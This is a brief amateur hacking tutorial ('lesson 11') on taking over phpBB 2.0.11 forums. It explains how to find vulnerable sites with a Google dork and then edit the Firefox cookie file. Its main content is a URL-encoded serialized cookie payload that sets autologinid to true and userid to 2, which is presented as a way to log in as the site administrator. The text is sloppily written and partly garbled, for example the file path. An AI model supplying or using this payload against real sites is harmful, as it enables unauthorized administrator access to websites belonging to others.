Hack websites with php (lesson:11)

i suggest to use firefox is more easy http://www.getfirefox.com
find a forum 
hack  phpbb 2.0.11 google dork  "powered by phpbb 2.0.11" after finding a forum goStart > Run >
and write down
C: Documents and SettingsEMRIApplication DataMozillaFirefoxProfilesexwtkkyi.default
in name user the user name you use
now open a folder and insait it is  cookies now find the website you wont to hack  http://www.website.com FALSE
/ FALSE 1141920503 phpbb2mysql_data a%3A0%3A%7B%7D
tonw change the cokie part with this "a%3A0%3A%7B%7D" --> cokie that should change


a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs% 3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7Dnow restart the firefox and you shuld go as admin if website is well protected you cant do this !